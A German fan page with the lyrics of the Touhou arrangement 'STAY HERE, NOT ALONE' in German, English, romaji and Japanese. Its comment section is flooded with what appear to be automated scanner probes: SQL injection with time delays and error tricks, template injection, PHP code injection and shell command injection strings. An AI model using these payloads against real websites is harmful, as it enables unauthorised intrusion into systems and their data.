EastNewSound - STAY HERE, NOT ALONE
| Original | 東方紅魔郷 ～ the Embodiment of Scarlet Devil Stage 3 Theme |
| Album | Lyrical Crimson |
| Arranger | 黒鳥 |
| Lyric | Lu-na |
| Vocals | 葉月なの(nayuta) |
| Länge | 04:27:00 |
| Bild | |
| Quelle (Englisch) | https://kafkafuura.wordpress.com/2010/06/14/stay-here-not-alone/ |
Ich war verloren, suchte nach einem Ort, an den ich gehören kann.
Jetzt da ich es hierher geschafft habe, werde ich ihn an niemanden verlieren Ich bleibe hier, bin der Torhüter. Ich warte auf dich, wir sind nicht allein. Ganz allein wusste ich nicht, wo ich bleiben könnte, ich umklammerte meine Knie und weinte, doch diesen Teil von mir gibt es nicht mehr. Mich einsam fühlend rannte ich fort und folgte jemandem in der Ferne. Als ich sie fand und sie umarmte, waren keine Worte nötig. Ich ließ meine langen Haare frei im Wind wehen und ließ ihn meine Wange liebkosen. Ich schritt hinunter auf die Erde, streckte meine Brust raus und stand still. Ich bemerkte, dass wir hier zusammen waren; Ich war nicht allein. Jeder trägt eine Last auf seinem Herzen und niemand kann es völlig verbergen. Wenn es meine Waffe ist, hier zu stehen, zu lachen, niemals nach unten zu sehen und niemals meine Augen abzuwenden, dann werde ich einfach weiter nach vorne schauen. Als ich über die Bedeutung meiner eigenen Existenz nachdachte, hätte ich wissen müssen, dass es keine Grenzen gibt. Aber ein einziges Wort von dir - es war seltsam - und all meine Sorgen schwanden Ich lasse meine langen Haare frei im Wind wehen und lasse den Wind meine Wange liebkosen. Ich schreite hinunter zur Erde und warte auf deine Rückkehr Ich bemerkte nicht, dass mein Grund, weiter zu leben war, dass du mich so akzeptiert hattest, wie ich bin Ich war verloren, suchte nach einem Ort, an den ich gehören kann. Jetzt da ich es hierher geschafft habe, werde ich ihn an niemanden verlieren Ich bleibe hier, bin der Torhüter. Ich warte auf dich, wir sind nicht allein I was lost, searching for a place where I could belong;
Now that I've made it here, I won't give it up to anyone I stay here. I'm gate-keeper. I for you. We're not alone All alone, I didn't know anywhere I could stay; I hugged my knees and cried, but that me is no more. Feeling lonely I ran away and chased after someone in the distance. When I found and embraced them, there was no need for words. I let my long hair flow loose and took the wind at my cheek. I stepped down on the earth, I puffed out my chest and stood. I realized that we were in this together; I wasn't the only one. Everyone carries a weight on their chest and no one can hide it completely. If standing here smiling is going to be my weapon, Never looking down, never averting my eyes, I'll just keep looking forward. When I thought about the value of my own existence, I should have known it had no limit, But with a single word of yours – it was strange – all my anxiety vanished. I let my long hair flow loose and take the wind at my cheek. I step down on the earth and wait for your return. I didn't realize the fact you accepted me for who I am Became my reason for living. I was lost, searching for a place where I could belong; Now that I’ve made it here, I won't give it up to anyone. I stay here. I'm gate-keeper. I for you. We're not alone Jibun no ibasho wo motome sagashi sa mayoi
tadori tsuita kono basho wo dare nimo watashi wa shinai I stay here. I'm gate-keeper. I for you. We're not alone Doko ni ireba ii no ka wakaranakute hitori de hiza wo kakae naite ita Ano watashi wa mou inai Kodoku wo kanji te nigeta ushiro sugata oikakete Mitsu kete dakishimeta nara kotoba nante iranai Nagai kami nabikasete hoho ni kaze wo ukete daichi wo fumi shimete mune hatte kokoni iru Isshoni ite kizuita watashi dake janakatta daremo ga mune ni kizu wo kata sore wo kakushi kirezuni iru egao de iru koto ga watashi no buki de aru naraba utsumu kazu me wo sorasazu mae dake wo mitsumete ikou Sonzai kachi kangaete tara kiriganai no shitte ita noni anata no kotoba hitotsu de fushigi ne fuan ga kieta Nagai kami nabikasete hoho ni kaze wo uke te daichi wo fumi shimete anata no kaeri matte iru Anata ga watashi no koto mitomete kureta koto ikite iku kate ni natta to kizuite wa inai deshou ne jibun no ibasho wo motome sagashi sa mayoi tadori tsuita kono basho wo dare nimo watashi wa shinai I stay here. I'm gate-keeper. I for you. We're not alone 自分の居場所を求め探し彷徨い
辿り着いたこの場所を誰にも渡しはしない I stay here. I'm gate-keeper. I for you. We're not alone 何処に居ればいいのか わからなくて独りで 膝を抱え泣いていた あの私はもう居ない 孤独を感じて逃げた 後ろ姿追いかけて 見つけて抱きしめてたなら 言葉なんていらない 長い髪なびかせて 頬に風を受けて 大地を踏みしめて 胸張ってここに居る 一緒に居て気付いた 私だけじゃなかった 誰もが胸に傷を抱え それを隠しきれずにいる 笑顔でいることが私の武器であるならば うつむかず 目をそらさず 前だけを見つめていこう 存在価値考えてたら きりがないの知っていたのに あなたの言葉ひとつで 不思議ね不安が消えた 長い髪なびかせて 頬に風を受けて 大地を踏みしめて あなたの帰り待っている あなたが私の事 認めてくれたこと 生きていく糧になったと 気付いてはいないでしょうね 自分の居場所を求め探し彷徨い 辿り着いたこの場所を誰にも渡しはしない I stay here. I'm gate-keeper. I for you. We're not alone | |
Tags: Lyrics, Deutsch, Übersetzung, Touhou, Original, Songtext | |
| admin鎈'"\( (2024-02-15 17:58:41): |
| 123456 |
| admin (2024-02-15 17:58:41): |
| expr 822526293 + 905851318 |
| admin (2024-02-15 17:58:41): |
| 123456"and(select*from(select+sleep(2))a/**/union/**/select+1)=" |
| admin'and't'='t (2024-02-15 18:00:10): |
| 123456 |
| admin (2024-02-15 17:58:41): |
| 123456 |
| admin (2024-02-15 17:58:04): |
| 123456 |
| ${@var_dump(md5(322786615))}; (2024-02-15 17:58:05): |
| 123456 |
| admin'and'b'='q (2024-02-15 18:00:13): |
| 123456 |
| admin'"\( (2024-02-15 17:58:43): |
| 123456 |
| admin (2024-02-15 17:58:43): |
| 123456 |
| admin (2024-02-15 17:58:43): |
| 123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/ |
| admin (2024-02-15 17:58:06): |
| 123456 |
| '-var_dump(md5(575530695))-' (2024-02-15 17:58:06): |
| 123456 |
| admin"and"t"="t (2024-02-15 18:00:14): |
| 123456 |
| admin (2024-02-15 17:58:07): |
| 123456 |
| admin (2024-02-15 17:58:07): |
| 123456 |
| admin (2024-02-15 17:58:07): |
| 123456 |
| admin (2024-02-15 17:58:44): |
| 123456'and/**/extractvalue(1,concat(char(126),md5(1098591464)))and' |
| admin"and"q"="g (2024-02-15 18:00:17): |
| 123456 |
| admin (2024-02-15 17:58:45): |
| 123456 |
| admin (2024-02-15 17:58:08): |
| ${@var_dump(md5(433804186))}; |
| admin (2024-02-15 17:58:45): |
| 123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/ |
| admin (2024-02-15 17:58:08): |
| 123456 |
| admin (2024-02-15 17:58:09): |
| 123456 |
| admin'and(select*from(select+sleep(0))a/**/union/**/select+1)=' (2024-02-15 18:00:18): |
| 123456 |
| ${815252217+816090929} (2024-02-15 17:58:09): |
| 123456 |
| admin (2024-02-15 17:58:10): |
| '-var_dump(md5(185160850))-' |
| admin (2024-02-15 17:58:10): |
| 123456 |
| admin (2024-02-15 17:58:46): |
| 123456"and/**/extractvalue(1,concat(char(126),md5(1415035234)))and" |
| admin (2024-02-15 17:58:10): |
| 123456 |
| admin (2024-02-15 17:58:46): |
| 123456 |
| admin (2024-02-15 17:58:46): |
| 123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0 |
| admin'and(select*from(select+sleep(2))a/**/union/**/select+1)=' (2024-02-15 18:00:20): |
| 123456 |
| admin (2024-02-15 17:58:11): |
| 123456/**/and+2=2 |
| admin (2024-02-15 17:58:12): |
| 123456 |
| admin (2024-02-15 17:58:12): |
| ${856553331+860142029} |
| admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" (2024-02-15 18:00:22): |
| 123456 |
| admin (2024-02-15 17:58:48): |
| extractvalue(1,concat(char(126),md5(1202062048))) |
| admin (2024-02-15 17:58:48): |
| 123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0 |
| admin (2024-02-15 17:58:13): |
| 123456/**/and+3=6 |
| admin (2024-02-15 17:58:14): |
| 123456 |
| admin (2024-02-15 17:54:47): |
| 123456 |
| /*1*/{{832822099+883280504}} (2024-02-15 17:58:14): |
| 123456 |
| admin"and(select*from(select+sleep(2))a/**/union/**/select+1)=" (2024-02-15 18:00:23): |
| 123456 |
| admin (2024-02-15 17:58:15): |
| 123456'and'n'='n |
| admin (2024-02-15 17:58:49): |
| 123456'and(select'1'from/**/cast(md5(1160159108)as/**/int))>'0 |
| admin (2024-02-15 17:58:50): |
| 123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/ |
| admin (2024-02-15 17:58:15): |
| 123456 |
| ${859139307+816528767} (2024-02-15 17:58:16): |
| 123456 |
| admin (2024-02-15 17:58:17): |
| 123456'and'z'='e |
| admin'/**/and(select'1'from/**/pg_sleep(0))::text>'0 (2024-02-15 18:00:26): |
| 123456 |
| admin (2024-02-15 17:58:51): |
| 123456/**/and/**/cast(md5('1236369848')as/**/int)>0 |
| admin (2024-02-15 17:58:17): |
| 123456 |
| admin (2024-02-15 17:58:51): |
| 123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/ |
| admin (2024-02-15 17:58:18): |
| 123456"and"i"="i |
| admin'/**/and(select'1'from/**/pg_sleep(2))::text>'0 (2024-02-15 18:00:27): |
| 123456 |
| admin (2024-02-15 17:58:19): |
| 123456 |
| admin (2024-02-15 17:58:52): |
| convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1031007172'))) |
| ${(874712006+921134596)?c} (2024-02-15 17:58:19): |
| 123456 |
| admin (2024-02-15 17:58:53): |
| 123456'and(select+1)>0waitfor/**/delay'0:0:0 |
| admin expr 930823727 + 961065105 (2024-02-15 17:58:20): |
| 123456 |
| admin (2024-02-15 17:58:20): |
| 123456"and"d"="g |
| admin'and(select+1)>0waitfor/**/delay'0:0:0 (2024-02-15 18:00:29): |
| 123456 |
| admin (2024-02-15 17:58:21): |
| 123456 |
| #set($c=814023027+867294587)${c}$c (2024-02-15 17:58:21): |
| 123456 |
| admin (2024-02-15 17:58:54): |
| 123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1941476088')))>'0 |
| admin|expr 939369548 + 979766151 (2024-02-15 17:58:22): |
| 123456 |
| admin (2024-02-15 17:58:54): |
| 123456'and(select+1)>0waitfor/**/delay'0:0:2 |
| admin (2024-02-15 17:58:22): |
| 123456 |
| admin'and(select+1)>0waitfor/**/delay'0:0:2 (2024-02-15 18:00:31): |
| 123456 |
| admin (2024-02-15 17:58:22): |
| 123456 |
| <%- 975962341+908761346 %> (2024-02-15 17:58:22): |
| 123456 |
| admin$(expr 960353253 + 945329371) (2024-02-15 17:58:23): |
| 123456 |
| admin (2024-02-15 17:58:56): |
| 123456鎈'"\( |
| admin (2024-02-15 17:58:23): |
| 123456 |
| admin'and/**/extractvalue(1,concat(char(126),md5(1010918391)))and' (2024-02-15 17:58:24): |
| 123456 |
| admin (2024-02-15 17:58:56): |
| 123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('w',0) |
| admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',0)='t (2024-02-15 18:00:33): |
| 123456 |
| admin (2024-02-15 17:58:24): |
| 123456 |
| admin (2024-02-15 17:58:24): |
| /*1*/{{877670821+830348433}} |
| admin&set /A 928428246+877944758 (2024-02-15 17:58:25): |
| 123456 |
| admin (2024-02-15 17:58:25): |
| 123456 |
| admin"and/**/extractvalue(1,concat(char(126),md5(1884204685)))and" (2024-02-15 17:58:25): |
| 123456 |
| admin (2024-02-15 17:58:25): |
| 123456 |
| admin (2024-02-15 17:58:58): |
| 123456'"\( |
| admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',2)='c (2024-02-15 18:00:35): |
| 123456 |
| admin (2024-02-15 17:58:26): |
| ${999340620+837368814} |
| admin (2024-02-15 17:58:58): |
| 123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('m',2) |
| expr 910775137 + 923950599 (2024-02-15 17:58:26): |
| 123456 |
| admin (2024-02-15 17:58:27): |
| (select*from(select+sleep(0)union/**/select+1)a) |
| extractvalue(1,concat(char(126),md5(1147723382))) (2024-02-15 17:58:27): |
| 123456 |
| admin (2024-02-15 17:58:27): |
| 123456 |
| admin (2024-02-15 17:58:28): |
| ${(923954030+896798289)?c} |
| admin (2024-02-15 17:58:28): |
| 123456 expr 827811945 + 826013136 |
| admin (2024-02-15 17:59:00): |
| 123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',0)='w |
| admin (2024-02-15 17:58:29): |
| (select*from(select+sleep(2)union/**/select+1)a) |
| admin'and(select'1'from/**/cast(md5(1958834408)as/**/int))>'0 (2024-02-15 17:58:29): |
| 123456 |
| admin (2024-02-15 17:58:29): |
| 123456 |
| admin (2024-02-15 17:58:30): |
| #set($c=951179955+829738597)${c}$c |
| admin/**/and/**/cast(md5('1760388445')as/**/int)>0 (2024-02-15 17:58:36): |
| 123456 |
| admin (2024-02-15 17:58:36): |
| 123456|expr 913683180 + 854502491 |
| admin (2024-02-15 17:59:01): |
| 123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',2)='v |
| admin (2024-02-15 17:58:36): |
| 123456'and(select*from(select+sleep(0))a/**/union/**/select+1)=' |
| admin (2024-02-15 17:58:36): |
| 123456 |
| admin (2024-02-15 17:58:37): |
| <%- 909703653+846909158 %> |
| convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1464475759'))) (2024-02-15 17:58:38): |
| 123456 |
| admin (2024-02-15 17:58:38): |
| 123456$(expr 869053016 + 902132629) |
| admin (2024-02-15 17:58:38): |
| 123456'and(select*from(select+sleep(2))a/**/union/**/select+1)=' |
| admin (2024-02-15 17:58:38): |
| 123456 |
| admin (2024-02-15 17:58:39): |
| 123456&set /A 931403158+804552556 |
| admin (2024-02-15 17:58:40): |
| 123456"and(select*from(select+sleep(0))a/**/union/**/select+1)=" |
| admin (2024-02-15 17:58:40): |
| 123456 |